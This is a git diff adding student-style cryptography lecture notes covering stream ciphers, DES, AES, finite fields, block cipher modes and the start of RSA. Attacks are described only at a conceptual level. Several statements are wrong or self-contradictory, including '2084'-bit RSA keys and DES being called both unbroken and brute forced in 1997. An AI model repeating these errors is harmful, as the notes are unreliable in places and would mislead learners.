+- PRNGs - Pseudo Random Number Generator
+- CSPRNGs - Cryptographically Secure Pseudo Random Number Generator
+
+#### LFSRs
+
+- A Linear-feedback Shift Register us a register if buts whose positions shift to the right
+- Usually comprised of flip-flops, the last bit represents the output
+
+(Where the squares at the bottom are flip-flops)
+
+- If initialised to `000`, nothing happens as $0\oplus0 = 0$.
+ - Therefore, we have $2^n-1$ states
+ - Statistical randomness
+- To add more randomness to the setup, we can add another (more) `xor` gate
+ - However, we have fewer states
+
+$$
+s_m \equiv s_{m-1}p_{m-1} + ... + s_1p_1 + s_0p_0\space (mod \space 2)\\
+s_{m+1} \equiv s_{m}p_{m-1} + ... + s_2p_1 + s_1p_0\space (mod \space 2)
+$$
+
+- We usually represent m-bit LFSRs using polynomials of degree m.
+- In general $P(x)=x^m + p_{m-1}x^{m-1} + ... + p_1x + p_0$
+- LFSRs that have primitive polynoimials produce sequences of maximum length
+- There are many and are easily computed
+ - $x^5 + x^2 + 1$ has 31 states
+ - $x^{10} + x^3 + 1$ has 1023
+ - $x^{85}+x^8+x^2+x+1$ has $10^{26}$ states
+
+##### Attacking LFSRs
+
+Suppose an attacker knows $2m-1$ plain text bits
+
+**Step 1** Calculate key bits
+
+$s_i \equiv y_i + x_i \space (mod\space 2), i=0,1,...2_{m-1}$
+
+**Step 2** Reconstruct the LFSR
+
+$s_m \equiv s_{m-1}p_{m-1} + ... + s_1p_1 + s_0p_0$
+
+$s_{m+1} \equiv s_{m}p_{m-1} + ... + s_2p_1 + s_1p_0$
+
+…
+
+$s_{2m+1} \equiv s_{2m-1}p_{m} + ... + s_mp_1 + s_{m-1}p_0$
+
+#### Trivium
+
+- LFSRs are much more cryptographically secure if we combine more than one together in a non-linear way.
+
+Trivium is 3 LFSR in a row
+
+- Feedback between each with non-linear AND gates
+- Initialises the LFSR with an 80-bit key and 80-bit random value
+
+### ChaCha20
+
+- ChaCha is a stream cipher written by Daniel Berstein
+- A modification of a previous cipher, Salsa
+- Very lightweight, using only `add`, `xor` and rotate operations
+- One of two ciphers in `TLS 1.3`
+- Dashes represent bit length
+- Constants are not secret
+- The block number can skip to anywhere
+ - Suppose someone skips ahead on a video stream, the cipher can skip unlike other synchronous stream ciphers
+- Works well on low power devices, due to simplicity of encryption
+- Once the input and the mixed words are added together it is hard to know what the starting thing was
+ - e.g. what two numbers have i added to make 100
+
+ChaCha performs **20** rounds
+
+- Alternates column and diagonal rounds
+ - Each round is 4 quarter rounds
+
+#### Vulnerabilities
+
+- Stream ciphers like ChaCha give us *confidentiality*, but *not integrity*
+- Running a stream cipher by itself is not sufficient
\ No newline at end of file
diff --git a/docs/lectures/cryptography/04_data_encryption.md b/docs/lectures/cryptography/04_data_encryption.md
new file mode 100644
index 0000000..ee86b30
--- /dev/null
+++ b/docs/lectures/cryptography/04_data_encryption.md
@@ -0,0 +1,148 @@
+# Data Encryption Standard (DES)
+
+### Pseudorandom Permutations
+
+- A pseudorandom permutation is a function that cannot be distinguished from a random permutation
+- Maps a set of values $\{0,1\}^n \times \{0,1\}^s \rightarrow \{0,1\}^n$ such that:
+ - For any key, the function F is a *bijection* (1:1)
+ - The key just changes the mapping
+ - There is an *efficient algorithm* to calculate $F(x)$ for all keys and all messages
+
+
+
+**Confusion**: Obscure the relationship between plaintext, key and ciphertext
+
+- Often achieved through substitution operations
+ - Using lookup tables
+
+**Diffusion**: Influence of each plaintext and key bit is distributed throughout the ciphertext
+
+- Achieved via permutation
+ - Swapping or otherwise mixing bits/bytes
+
+Shannon called a cipher like this a **product cipher**
+
+### Feistal Network
+
+- A Feistal Network is one mechanism used to create block ciphers
+- Developed by Horst Feistal while he worked at IBM
+- Underpins DES, GOST, Blowfish, Twofish and numerous others.
+
+
+
+- To decrypt, we run the encrypted bits through the network again
+
+##### A Single Feistal Round
+
+- During each round, only half of the block is encrypted
+
+
+
+Very similar to a stream cipher.
+
+###### Round $i$
+
+
+
+###### Round $i+1$
+
+
+
+Note - the last round does a final swap so the left and right are in the correct places.
+
+###### Decrypting
+
+
+
+
+
+Basically the `xor`s cancel themselves out, the most important part is choosing a good function $f$
+
+#### About Feistal Networks
+
+- 1 or 2 rounds is not sufficient
+- Luby and Rackoff show that if $f$ is a cryptographically secure pseudorandom function then:
+ - 3 rounds are sufficient to make a pseudorandom permutation
+ - 4 rounds are sufficient to make a strong pseudorandom permutation
+- Balanced Feistal networks
+ - L and R are equal sizes
+- Unbalanced feistal networks
+ - L and R can be different sizes
+ - e.g. `skipjack`, `OAEP`
+
+### DES
+
+1972: NIST put out a call for a US standard for encryption
+
+1974: IBM propose DES
+
+1976: NIST accepts an altered version of DES following consultation with NSA
+
+- Feistal network with 64-bit block size
+- 56-bit key
+- The most studied cipher in history
+ - Hasn’t been broken for over 46 years
+
+
+
+
+
+This speeds up loading bits into registers
+
+##### The F function
+
+
+
+$S_1, S_2....$ are called s-boxes. These substitute 6 bits input to 4 bits output based on lookup tables. The lookup tables for each s-box is different.
+
+##### Expansion
+
+- Adds *diffusion*
+- Increases from 32 to 48 bits to match the round key
+
+
+
+> Half the input bits are connected to two output positions
+
+##### Substitution Boxes
+
+- Add confusion
+- The s-boxes map 6 bit inputs to 4-bit outputs
+- There are 8 s-boxes in total, each is different
+
+
+
+- This s-box is not random, very carefully designed
+- s-boxes need to be highly **non-linear**: $S(a) \oplus S(b) \neq S(a\oplus b)$
+- This prevents simple systems of linear equations such as we saw in LFSRs.
+ - The formula needed to represent DES is too complicated
+- Key design principles
+ 1. No output bit should be too close to a linear combination of input bits
+ 2. 1-bit change input should lead to at least 2-bits output
+ 3. If you only change the 4 middle bits, each output must occur exactly once
+ 4. If the first two bits are different but the last two are identical, the output must differ
+ 5. For any non-zero difference in input, no more than 8 of the 32 inputs exhibiting this difference should share the same output difference
+ - We want to limit the number of predictable swaps
+ 6. A collision (zero difference) is only possible for 3 adjacent s-boxes
+
+##### Permutation
+
+- At the end of $f()$ is a permuatation
+- This moves bits between s-boxes on the next round
+
+
+
+- Blue showing how $S_1$ output bits are diffused
+
+#### The Avalanche Effect
+
+If you input all 0s, we will see a random cipher text
+
+However if we change one 0 to a 1, how does this effect the result.
+
+- On average, if you change one (first) bit in $R$, one bit will change in the expansion
+- Due to the way the s-boxes are setup, at least 2 of the 4 bits in the output will be different
+- Now when the permutation happens, these two changes are spread to other s-boxes
+- Now next round we’ll get 4 changes, then 8, then 16 …
+
+For DES the worst case scenario when one bit is changed (with 5 rounds) is there will be an effect on every bit on the output.
\ No newline at end of file
diff --git a/docs/lectures/cryptography/05_des2.md b/docs/lectures/cryptography/05_des2.md
new file mode 100644
index 0000000..ca585c9
--- /dev/null
+++ b/docs/lectures/cryptography/05_des2.md
@@ -0,0 +1,155 @@
+# Data Encryption Standard
+
+#### Key Schedule
+
+- The **DES** key schedule simply returns various permutations of $k$ as sub-keys
+ - $k_1, ... k_{16}$
+
+##### PC-1
+
+- Permutated Choice 1 (PC-1) selects 56 of the 64 bits
+- The other ‘parity’ bits are discarded: DES only uses a 56-bit key
+- Key bits are spread throughout the initial state of the key schedule
+- Key bits 8, 16, 24,…64 are not used
+
+
+
+#### Left Rotation
+
+- Left rotations (often written as `<<<`) represent a lift shift where the left most numbers wrap around to the right hand side
+- In DES, each 28-bit block is rotated left by `<<<1` for rounds 1,2,9,16 and `<<<2` otherwise
+- The total rotation is $4\cdot 1 + 12\cdot 2 = 28$ which means $C_0 = C_{16}$ and $D_0 = D_{16}$
+ - NOTE: $C_0$ or $D_0$ is not used
+
+##### PC-2
+
+- Permuted Choice 2 select 48 of the 56 bits to be used as a round key
+
+
+
+###### Properties of the Key Schedules
+
+- Is entirely permutation based
+- Doesn’t use `xor`, addition or any other mixing operation
+- Because $C_0 = C_{16}$ and $D_0 = D_{16}$ we don’t need to write seperate encrpt and decrypt functions
+ - Usful for writing implementations on low memory devices (smart cards)
+
+### Breaking DES
+
+- DES has a key length of 56-bits
+- A brute force attack requires no knowledge of the cipher, only a pair $(x_0, y_0)$ of known plain and cipher text
+
+$DES^{-1}k_i(y_0) = x_0$ for $i=0, 1, ... 2^{56}-1$
+
+This would take minutes to hours on a cluster.
+
+NOTE: $2^{56}-1$ is a very large number
+
+#### Key Collisions
+
+- For a 56-bit key but a 64-bit block is possible (though unlikely) a different key would work
+- How likely is this to happen for a 1 bit key and an $n$ bit block cipher
+ - $\frac{2^l}{2^n}$ where $l$ is the length of the block and $n$ is the key length
+ - $\frac{2^{64}}{2^{56}} = 2^8$
+
+
+
+- DES was first brute forced in 1997 and is no longer secure
+
+
+
+(days on y axis)
+
+#### Double Encryption
+
+
+
+- Naive brute fource suggests $2^{56}\cdot 2^{56} = 2^{112}$ keyspace
+- However using a meet-in-the middle attack this becomes trival.
+ - Step 1: Calculate encryptions of $x_1$ for all $k_{1...,i}$ and store intermediate values $Z_{1..,i}$
+ - Step 2: Calculate all decryptions of $y_1$ for all $k_{R, j}$ to find $Z_{R,i}$
+ - Step 3: Find any value of $Z_{R,j}$ matching existing $Z_L,i$
+
+
+
+Meet-in-the-middle requires $2^{k+1}$ attemps rather than $2^{k\cdot 2}$
+
+- This is much better than brute force, but doesn’t make it easy
+- Trades off computation for storage - Petabytes for DES
+- Assumes some kind of $O(1)$ for $Z_{L,I}$
+
+## 3DES
+
+- Triple DES uses three different keys
+ - Either `enc -> enc -> enc` or `enc -> dec -> enc`
+- Often used in banking, smart cards and other payment systems
+
+
+
+This prevents MITM attacks as one of the attacks will have to compute $2^{112}$ permutations
+
+Why use `enc -> dec -> enc`?
+
+This is for compatibility with legacy systems running DES.
+
+This is why banking systems use 3DES as they already have the infrastructure for DES however 3DES is officially not recommended by NSA in 2016
+
+## DES-X
+
+- An alternative construction using a concept called **key-whitening**
+
+
+
+- Theoretically this provides a seach space of $2^{k+2n}$ but meet-in-the-middle can be used here, as well as other more advanced attacks
+- In practive securtity is $2^{k+n-m}$ where an attack has $2^m$ known plain texts
+
+# Cryptanalysis
+
+#### What is a break?
+
+- In modern cryptography, a cipher is declared broken by essentially any attack that is more efficient than brute force
+ - For example, *differential cryptanalysis* requires $2^{47}$ operations on DES rather than $2^{56}$
+- These are often academic breaks, rather than a practical security concern
+ - For example there is a *related key* attack on AES of $2^{99.5}$, compared to brute force of $2^{128}$
+ - Remember that a $2^{n-1}$ takes half the time $2^n$ does
+
+##### Analytical Attacks
+
+- Exploit some underlying structureal or mathematical weakness in a cipher
+ - e.g. meet in the middle attack
+ - Derivation of taps in LFSRs
+
+##### Statistical Attacks
+
+- Capture statistical patterns between input and output to recover key bits
+ - Differential cryptanalysis
+ - Linear cryptanalysis
+
+###### Differential Cryptanalysis
+
+- Different cryptanalysis is prehaps now the most important modern method for breaking block ciphers
+- It is a **chosen plaintext** attack
+- We aim to find predictable changes in output bits caused by known changes in the input bits
+
+
+
+- Each of these s boxes has 4 bits, 16 possible values
+- This means any input change $\Delta x$ should cause some change $\Delta y$ with probability $p=1/16$
+- In a poor s-box, the likelihood might be much higher
+- The sum input change resulting in some output change $(\Delta x, \Delta y)$ is called a **differential** and has some probability of occurring
+
+
+
+- Tracing differentials through a cipher provides us with **differential characteristics** e.g.
+ - $(\Delta x, \Delta y) =$ (0x80, 0xA0) where $p \geq 2^{-3} = 1/8$
+- These can be calculated by hand or using automated tools
+- The attack then looks for these expected differentials as you manipulate sub-key bits
+
+###### Resisting differential cryptanalysis
+
+- S-boxes must be designed such that the probability of any pair $(\Delta x, \Delta y)$ is as low as possible
+ - AES has a maximum likelihood of a differential per s-box of $2^{-6}$
+ - This is because AES has such good diffusion
+- More rounds make differentials even less likely
+- Good permuation to involve more s-boxes is vital
+- DES was specifically designed to resist this kind of attack
\ No newline at end of file
diff --git a/docs/lectures/cryptography/06_finite_fields.md b/docs/lectures/cryptography/06_finite_fields.md
new file mode 100644
index 0000000..29ba1d0
--- /dev/null
+++ b/docs/lectures/cryptography/06_finite_fields.md
@@ -0,0 +1,144 @@
+# Finite Field Arithmetic
+
+- A **finite field** is a set containing a finite number of elements
+ - This is sometimes called a *Galois Field*
+- In a Galois field you can:
+ - Add
+ - Subtract
+ - Multiply
+ - Invert (divide)
+- Fields are an extension of *groups* and related to *rings*
+
+### Groups
+
+A group is a set of elements $G$ together with an operation $\circ$ that combines two elements of $G$
+
+> 1. The operation $\circ$ is **closed**
+> - i.e. for all $a,b \in G$ then $a\circ b=c\in G$
+> 2. The operation is associative
+> - i.e. $a\circ(b\circ c) = (a\circ b)\circ c$ for all $a,b,c \in G$
+> 3. There is an element $1\in G$ called a **neutral element** such that $a\circ 1 = 1\circ a = a$ for all $a\in G$
+> 4. For each $a \in G$ there exists an element $a^{-1}\in G$ called the **inverse** of $a$ such that $a\circ a^{-1} = a^{-1}\circ a = 1$
+> 5. A group $G$ is **abelian** (commutative) if $a\circ b = b \circ a$ for all $a,b\in G$
+
+##### Example Group
+
+- The set of integers $\mathbb{Z}_m = \{0,1,...m-1\}$ with the operation addition modulo m form a group with the neutral element 0
+- Every element would have an inverse where $a + (-a) = 0$ mod m
+- This group would not form a group with multiplication, as not all elements would have an inverse
+ - We wouldn’t have an inverse, we would need $5\times \frac15=1$ however $\frac15 \notin \mathbb{Z}$
+
+### Fields
+
+A field $F$ is a set of elements with the following properties
+
+> 1. All elements of $F$ form an **additive group** with the group operation $+$ and the neutral element 0
+> 2. All elements of $F$ except 0 form a multiplicative group with the group operation $\times$ and the neutral element 1
+> 3. When the two group operations are mixed, the distributivity law holds.
+> - i.e. for all $a,b,c \in F, a\cdot(b+c) = (a\cdot b) + (a\cdot c)$
+
+##### Example Field
+
+- The set of real numbers $\mathbb{R}$ is a field with neutral element 0 for addition and 1 for multiplication
+- Every real number $a$ has a additive inverse $-a$
+- Every non-zero number $a$ has a multiplicative inverse $\frac{1}{a}$
+
+
+
+#### Finite Fields
+
+> A finite field only exists if it has $p^m$ elements
+>
+> Where:
+>
+> - $p$ is a prime
+> - $m$ is a positive integer
+
+###### Examples
+
+- There is a field with 11 elements: $GF(11)$
+- There is a field with 256 elements: $GF(256)$ or $GF(2^8)$
+- $GF(12)$ is not a finite field $(2^2 \cdot3)$
+
+###### Prime and Extension Fields
+
+When $m=1$ it creates a **prime field**
+
+When $m>1$ it creates an **extension field**
+
+### Prime Fields
+
+- A prime field $GF(p)$ contains the integers $\{0,1,...p-1\}$
+
+
+
+- These operations satisfy the properties of fields (*closure*)
+
+##### Inversion in Prime Fields
+
+$a \cdot a^{-1} \equiv 1 \space (mod \space p)$
+
+- A modular inverse exists when $gcd(a,p) = 1$
+- Because $p$ is prime, every number has a multiplicative inverse
+ - $gcd(a,p) = 1, \forall a \neq0 \in GF(p)$
+- $a^{-1}$ can be calculated using the **extended Euclidean algorithm**
+
+#### Extension Fields
+
+- In prime fields, the elements are integers
+- Elements in extension fields $GF(2^m)$ are polynomials of degree $m$
+
+$a_{m-1}x^{m-1}, ..., a_1x + a_0 = A(x) \in GF(2^m)$
+
+where $a_i \in GF(2) = \{0,1\}$
+
+The coefficients of the polynomial are elements in $GF(2)$ the **sub-field**
+
+##### Example $GF(2^3)$
+
+- The field $GF(2^3)$, sometimes called $GF(8)$ is an extension field containing elements of the form: $A(x) = a_2 x^2 + a_1x^1 + a_0$
+- Its often easier to simply write the coefficients $(a_2, a_1, a_0)$ e.g. 001 or 101
+- $GF(2^3) = \{0, 1, x, x+1, x^2, x^2+1, x^2 + x, x^2 + x + 1\}$
+ - $|GF(2^3)| = 8$
+
+#### Arithmetic in $GF(2^3)$
+
+- Adding or subtracting two polynomials happens as expected, but adding the coefficients
+ - $A(x) = x^2 + x + 1$
+ - $B(x) = x^2 + 1$
+ - $A(x) + B(x) = (1+1)x^2 + (1)x + (1+1) = x$
+- mod 2 is simply `xor`
+- Addition and subtraction are identical
+
+#### Multiplication in $GF(2^3)$
+
+- $A(x) = x^2 + x + 1$
+- $B(x) = x^2 + 1$
+- $A(x) \cdot B(x) = (x^2 + x + 1)(x^2 + 1) = x^4 + x^3 + (1+1)x^2 + x + 1$
+- $x^4 + x^3 + x + 1$ however this is **not in the field**
+- The result must be reduced by the result modulo an **irreducible polynomial**
+
+$$
+A(x) \cdot B(x) = x^4 + x^3 + x + 1\space (mod \space x^3 + x + 1)
+$$
+
+- This means we have to do polynomial long division
+
+
+
+##### Inversion
+
+- Inversion is performed in a similar way to prime fields, we find:
+- $A(x) \cdot A^{-1}(x) \equiv 1 \space (mod \space P(x))$
+ - $A^{-1}(x)$ is calculated using the extended euclidean algorithm
+
+### AES’ Finite Field
+
+- AES uses the extension field $GF(2^8)$ for many of its operations
+- Operations are the same as those in other $GF(2^m)$ fields, using the irreducible polynomial
+
+$$
+ P(x) = x^8 + x^4 + x^3 + x + 1
+$$
+
+- As you might expect, these polynomials are typically represented as single bytes
diff --git a/docs/lectures/cryptography/07_aes.md b/docs/lectures/cryptography/07_aes.md
new file mode 100644
index 0000000..250829e
--- /dev/null
+++ b/docs/lectures/cryptography/07_aes.md
@@ -0,0 +1,145 @@
+# Advanced Encryption Standard (AES)
+
+- AES superseded DES as a standard in 2002
+
+ 
+
+- Uses rounds of 4 layers and a final round of 3
+- Bytes are represented as a 4x4 block called the *state*
+
+
+
+**Sub-Bytes** - similar to s-boxes in DES
+
+**Shift Rows** - diffusion and permutation round
+
+
+
+First row doesn’t move, second row is shifted to the left by 1, the third row is shifted two places to the left etc
+
+Then, when the columns are mixed, this means the overall diffusion is extremely good
+
+The last round doesn’t have a **mix column** step as its reversible and wouldn’t add additional security.
+
+#### S-Box
+
+- The AES s-box is based around the multiplicative inverse of 8-bit values in $GF(2^8)$
+- This is strongly *non-linear* mapping
+
+$$
+A_i \cdot A_i^{-1} \equiv 1 \space (mod \space P(x)) \\
+B'_i = \begin{cases}
+0 \quad\quad\quad i=0 \\
+A_i^{-1} \quad\space\space\space i > 0
+\end{cases}
+$$
+
+
+
+- Note: 0 maps to 0
+- The inverses $B'_i$ then undergo an **affine transformation** to produce the final s-box
+- This destroys any remaining mathematical structure
+
+
+
+Remember an affine transformation is a multiplication and addition by two constants (think of the affine cipher)
+
+##### S-box Properties
+
+- The s-box simply described, and is bijective, an invertible 1:1 mapping
+- It has no fixed points
+ - i.e. no $A_i$ for which $S(A_i) = A_i$
+- No inverse fixed points
+ - i.e. no $A_i$ for which $S(A_i) \oplus A_i = FF$
+- Minimisation of the largest non-trivial correlation between linear combinations of input bits and linear combinations of output bits
+ - 0 is a non-trivial combination
+- Minimisation of the largest non-trivial value in the `EXOR` table
+ - This stops differential cryptanalysis
+
+#### AES Diffusion
+
+Diffusion in AES consists of two layers:
+
+1. Shift rows
+2. Mix columns
+
+Shift rows simply moves bytes around the block
+
+
+
+##### Mix Columns
+
+- Performs a linear mixing of bytes within each column
+- All the input bytes in a column influence all the output bytes
+
+
+
+- Multiplying by `01` does not change the result
+
+When multiplying by $x$, there’s a shortcut we can implement. We can set the equation equal to 0, and `xor` by $x^4 - x^3 - x - 1$
+
+
+
+### Key Schedule
+
+
+
+- The first round key used is just the key
+- We then take $W[3]$ and put it through the $g$ function which just permutes it
+ - $g$ takes the word, shifts it one to the right and then passes it through the s-boxes
+ - We then `xor` it with $RC[i]$ which is just a constant value to ensure *something* changes
+ - Like for example if we had a bit stream of all 0s
+
+### Implementation
+
+1. All addition and subtractions are `xor`
+
+2. Multiply by `01` has no effect
+
+3. Multiplying by `02` (which is $x$) is simply a left shift followed by modular reduction
+
+ - Left shift multiplies by $x$
+
+ - If the original $x^7$ bit was set, then we must `xor` with `0x1B`
+
+ - ```java
+ // xtime
+ if ((a & 0x80) > 0) {
+ a = (a << 1) ^ 0x1b;
+ } else {
+ a <<= 1;
+ }
+ ```
+
+4. Multiply by `03` ($x+1$) is simply `xtime(a) ^ a`
+
+- Inverse multiplications are by `09`, `11`, `13`, `14`. these require either a more general function or lookup tables
+
+- Consider the sum:
+
+ - $$
+ a = x^6 + x^4 + x^2 + 1 \\
+ b = x^7 + x^4 + x^2 + x \\
+ \therefore a\cdot b = a\cdot x^7 + a\cdot x^4 + a\cdot x^2 + a\cdot x
+ $$
+
+ - $$
+ a\curvearrowright a\cdot x \curvearrowright a\cdot x^2 \curvearrowright a\cdot x^3 \curvearrowright a\cdot x^4 \curvearrowright a\cdot x^5
+ $$
+
+ - Here in $a\cdot b$, $a$ is just being multiplied by various powers of $x$. This can be easily calculated by repeated multiplying $a$ by $x$.
+
+- AES is very **fast in software** and pretty **fast in hardware**
+
+- CPU instructions in AES-NI make AES much faster
+
+- Much of the algorithm can be converted into a series of lookup tables
+
+ - **Trade off** between **speed** and **space**
+
+- There are numerous cache-timing and other attacks possible
+
+ - Implementation must be constant time
+ - CPU instructions help mitigate this
+
+- In general AES is much harder to implement safely than `ChaCha20`
diff --git a/docs/lectures/cryptography/08_block_cipher_modes.md b/docs/lectures/cryptography/08_block_cipher_modes.md
new file mode 100644
index 0000000..e56bcd8
--- /dev/null
+++ b/docs/lectures/cryptography/08_block_cipher_modes.md
@@ -0,0 +1,138 @@
+# Padding Oracle Attacks
+
+#### Block Cipher Modes
+
+- Most messages don’t come in convenient 128-bit block lengths
+- We’ll need to run a block cipher repeatedly on consecutive blocks
+- Why not use stream ciphers?
+ - Historically stream ciphgers have proven harder to implement
+
+##### Padding
+
+- ECB and some other modes require message length to be a multiple of the block size
+- Public Key Cryptography Standards `PKCS7` is a common padding scheme:
+ 1. Padding bytes are always added to the plaintext **before it is encrypted**
+ 2. Each padding byte has a *value equal to the total number of padding bytes* that are added
+ 3. The total number of padding bytes is **atleast one**
+- 
+- Note in this example there are 7 `7`s and 16 `16`s
+- Note the bottom left example there is 1 `1`. This could be interpreted as 1 bytes of padding or some plaintext. This is why every block must contain at least one padding byte
+
+### Electronic Code Book Mode (ECB)
+
+- Just encrypt each block one after another
+- This is quick as can be easily parallelised
+
+
+
+#### Weaknesses
+
+- If $x_1$ and $x_3$ are the same, then $y_1$ and $y_3$ are also the same.
+- ECB allows an attacker to infer information on the plaintext
+- Consider a hypothetical bank transfer between two banks that use a fixed key, where the message format is roughly known
+
+
+
+- If we start splicing parts of messages together, we can send a legitimate looking message to the bank
+- We could also use a chosen plaintext attack by requesting a bank transfer, finding our bank account info and splicing that with another message
+- ECB divulges whenever messages or blocks are the same
+
+
+
+> Here the RGB pixel data of this image has been encrypted using AES in ECB mode
+
+### Deterministic vs Probabilistic Encryption
+
+- An encryption scheme is **deterministic** if some plaintext is mapped to a fixed ciphertext if the key is unchanged
+- ECB is deterministic, but most modern modes of operation of **probabilistic**
+- Probabilistic encryption schemes add randomness to the encryption process to achieve a non-deterministic generation of the ciphertext
+
+
+
+- $r$ is not a secret
+
+#### Cipher Block Chaining (CBC)
+
+- `XOR` the output of each cipher block with the next input
+- $IV$ - **Initialisation Vector**
+ - The initial random seed that randomises the whole stream
+ - If you encrypted the same plaintext later it will be different
+ - An attacker will be unable to tell if $y_1$ and $y_2$ are the same message but with different $IV$ or different messages with different $IV$
+
+
+
+$$
+y_1 = e_k(x_1 \oplus IV) \\
+y_i = e_k(x_i \oplus y_{i-1})
+$$
+
+##### CBC Decryption
+
+- Similar to encryption, but now `XOR` takes place after decryption
+- This is much easier to parallelise
+
+
+
+$$
+x_1 = d_k(y_1) \oplus IV \\
+x_i = d_k(y_i) \oplus y_{i-1}
+$$
+
+- If we lost $y_1$ we would be unable to decrypt $y_2$
+ - We would be able to decrypt $y_3$ though
+
+##### Weaknesses
+
+- CBC was the primary method of encryption for many years
+ - Now it is less common
+- 
+- If you flip the first bit in $y_2$, the same bit is flipped for $x_3$
+ - Changing $y_2$ means $x_2$ no longer decrypts properly
+
+### Padding Oracles
+
+- Here, an **oracle** is a system we can query and it will tell us if, once decrypt, some text has **valid padding**
+- A system is unlikely to tell you directly, but it might give away some clue
+- Image an example `api` that receives a CBC encrypted authorisation token
+
+
+
+#### Padding Oracle Attacks
+
+- Lets look at a single decryption block in CBC
+- The attack is essentially the same for multiple blocks, just one at a time
+ - You attack the last block, which contains the padding
+
+> The general strategy is to manipulate bits in the IV to find valid padding and recover $z_i$
+
+
+
+
+
+
+
+
+
+### Counter Mode (CTR)
+
+- Encrypt a nonce + counter and use this to mask the plaintext with `XOR`
+ - This is very easily parallelised
+ - Each block is encrypted differently, avoiding the issues with ECB mode
+
+
+
+- We are now using our block cipher as a stream cipher
+ - The keystream generation (AES) is run through blocks
+- Decrypting is super easy, just the reverse
+
+### Galois Counter Mode
+
+- Extends counter mode to add authenticity
+ - The sender definitely sent that message and it hasn’t been modified
+- Very similar to ocunter mode, but **adds authentication tag**
+ - Uses multiplication in a Galois Finite field $GF(2^{128})$ modulo $x^{128} + x^7 + x^2 + x + 1$
+- Extremely parallelsiable
+- Robust to message modification
+- Is now standard in `TLS1.3`
+
+
diff --git a/docs/lectures/cryptography/09_public_key_maths.md b/docs/lectures/cryptography/09_public_key_maths.md
new file mode 100644
index 0000000..13f45a5
--- /dev/null
+++ b/docs/lectures/cryptography/09_public_key_maths.md
@@ -0,0 +1,84 @@
+# Public Key Mathematics
+
+- Recap: in rings and fields, multiplicative inverse might exist such that
+
+$$
+a\cdot a^{-1} \equiv 1 \space (mod \space p)
+$$
+
+- Modular inverse exists when $gcd(a,p)=1$
+- For prime fields, $gcd(a,p)=1, \forall a \neq 0 \in GF(p)$
+
+#### Euclidean Algorithm
+
+- The euclidean algorithm calculates the greatest common divisor of two numbers $gcd(r_0, r_1)$
+ - This is the largest number that divides both $r_0$ and $r_1$
+- If $gcd(x,y)=1$ then $x$ and $y$ are **coprime** (sometimes called relatively prime)
+- The Euclidean algorithm is based around the fact:
+ - $gcd(r_0, r_1) = gcd(r_1, r_0 - r_1)$
+
+
+
+- Computing $(x-y)\cdot gcd(r_0, r_1)$ is easier as its a smaller number
+- Doing this repeatedly is slow, we can use $gcd(r_0,r_1) = gcd(r_1, r_0\space mod \space r_1)$
+
+
+
+##### Example
+
+$r_0 = 57 \\
+r_1 = 12$
+
+- At each step we convert $r_0$ and $r_1$ into the form $r_0=q\cdot r_1 + r_2$
+
+$r_0=q\cdot r_1 + r_2 \\57=4\cdot 12 + 9\\ r_1=q\cdot r_2 + r_3 \\ 12=1\cdot 9 + 3 \\ 9 = 3\cdot 3 + 0$
+
+- When the algorithm gets to 0, it is finished, therefore $gcd(57,12)=3$
+
+
+
+#### Bezout’s Identity
+
+- Bezout’s identity tells us that the greatest common divisor of two numbers can be expressed as the sum of multiples of these numbers
+- $gcd(r_0,r_1) = s\cdot r_0 + t\cdot r_1$
+ - e.g. $gcd(99,20)=-1\cdot 99+5\cdot 20=1$
+ - $gcd(141,50)=11\cdot 141+-31\cdot 50=1$
+
+##### Extended Euclidean Algorithm
+
+- The extended euclidean algorithm calculates the $gcd(r_0,r_1)$ as normal, and in addition calculates $s$ and $t$.
+
+| Euclidean Algorithm | Extended Euclidean Algorithm |
+| ---------------------------------- | ------------------------------------------------------------ |
+| $r_0=q_1\cdot r_1+r_2$ | $r_2=r_0-q_1\cdot r_1 \quad \rightarrow \quad r_2=s_2\cdot r_0-t_2\cdot r_1$ |
+| $r_1=q_2\cdot r_2+r_3$ | $r_3=r_1-q_2\cdot r_2 \quad \rightarrow \quad r_3=s_3\cdot r_0-t_3\cdot r_1$ |
+| $r_2=q_3\cdot r_3+r_4$ | $r_4=r_2-q_3\cdot r_3 \quad \rightarrow \quad r_4=s_4\cdot r_0-t_4\cdot r_1$ |
+| … | … |
+| $r_{l-2}=q_{l-1}\cdot r_{l-1}+r_l$ | $r_l=r_{l-2}-q_{l-1}\cdot r_{l-1} \quad \rightarrow \quad r_l=s_l\cdot r_0-t_l\cdot r_1$ |
+| $r_{l-1}=q_{l}\cdot r_{l}+0$ | |
+
+###### Example
+
+
+
+###### Formula
+
+
+
+
+
+#### Modular Inverses
+
+$$
+\begin{split}
+& a\cdot a^{-1} \equiv 1 \mod n \\
+& gcd(n,a) = s\cdot n + t\cdot a = 1 \\
+& s\cdot n + t\cdot a = 1 \\
+& s\cdot 0 + t\cdot a \equiv 1 \space mod \space n \\
+& t\cdot a \equiv 1 \space mod \space n \\
+& t \equiv a^{-1} \space mod \space n
+\end{split}
+$$
+
+Where $t$ is our multiplicative inverse
+
diff --git a/docs/lectures/cryptography/10_RSA.md b/docs/lectures/cryptography/10_RSA.md
new file mode 100644
index 0000000..2ef65d6
--- /dev/null
+++ b/docs/lectures/cryptography/10_RSA.md
@@ -0,0 +1,165 @@
+# RSA
+
+- Introduced in 1977 by Ron Rivest, Adi Shamir and Leonard Adleman
+- The most popular public key algorithm in the world
+- Solves an important problem that symmetric cryptography doesn’t
+- RSA keys are normally `2084` or `4096` bits
+- Security is built around the difficulty of *factoring large numbers*
+
+### RSA Encryption
+
+- Encryption performed by the *public key* can only be reversed using the *private key*
+
+
+
+### RSA Signatures
+
+- The authenticity of signatures generated by the *private key* can be verified by the *public key*
+
+
+
+### Euler Totient Function
+
+- Integers $a$ and $m$ are *relatively prime* if they do not share a divisor (except 1)
+ - $gcd(a,m) = 1$
+- The **Euler totient** $\Phi$ is the number of integers in $\mathbb{Z}_m = \{0,1,...m-1\}$ for which $gcd(a,m)=1$
+ - For example $\Phi(9)=6$ as:
+ - $gcd(1,9)=1$ :white_check_mark:
+ - $gcd(2,9)=1$ :white_check_mark:
+ - $gcd(3,9)=3$ ❌
+ - $gcd(4,9)=1$ :white_check_mark:
+ - $gcd(5,9)=1$ :white_check_mark:
+ - $gcd(6,9)=3$ ❌
+ - $gcd(7,9)=1$ :white_check_mark:
+ - $gcd(8,9)=1$ :white_check_mark:
+
+ ###
+
+#### Integer Factorisation
+
+- Any integer can be expressed as the multiplication of a list of prime numbers
+
+#### Calculating $\Phi(n)$
+
+- The totient is much easier to calculate given the prime factorisation of $n$
+
+$$
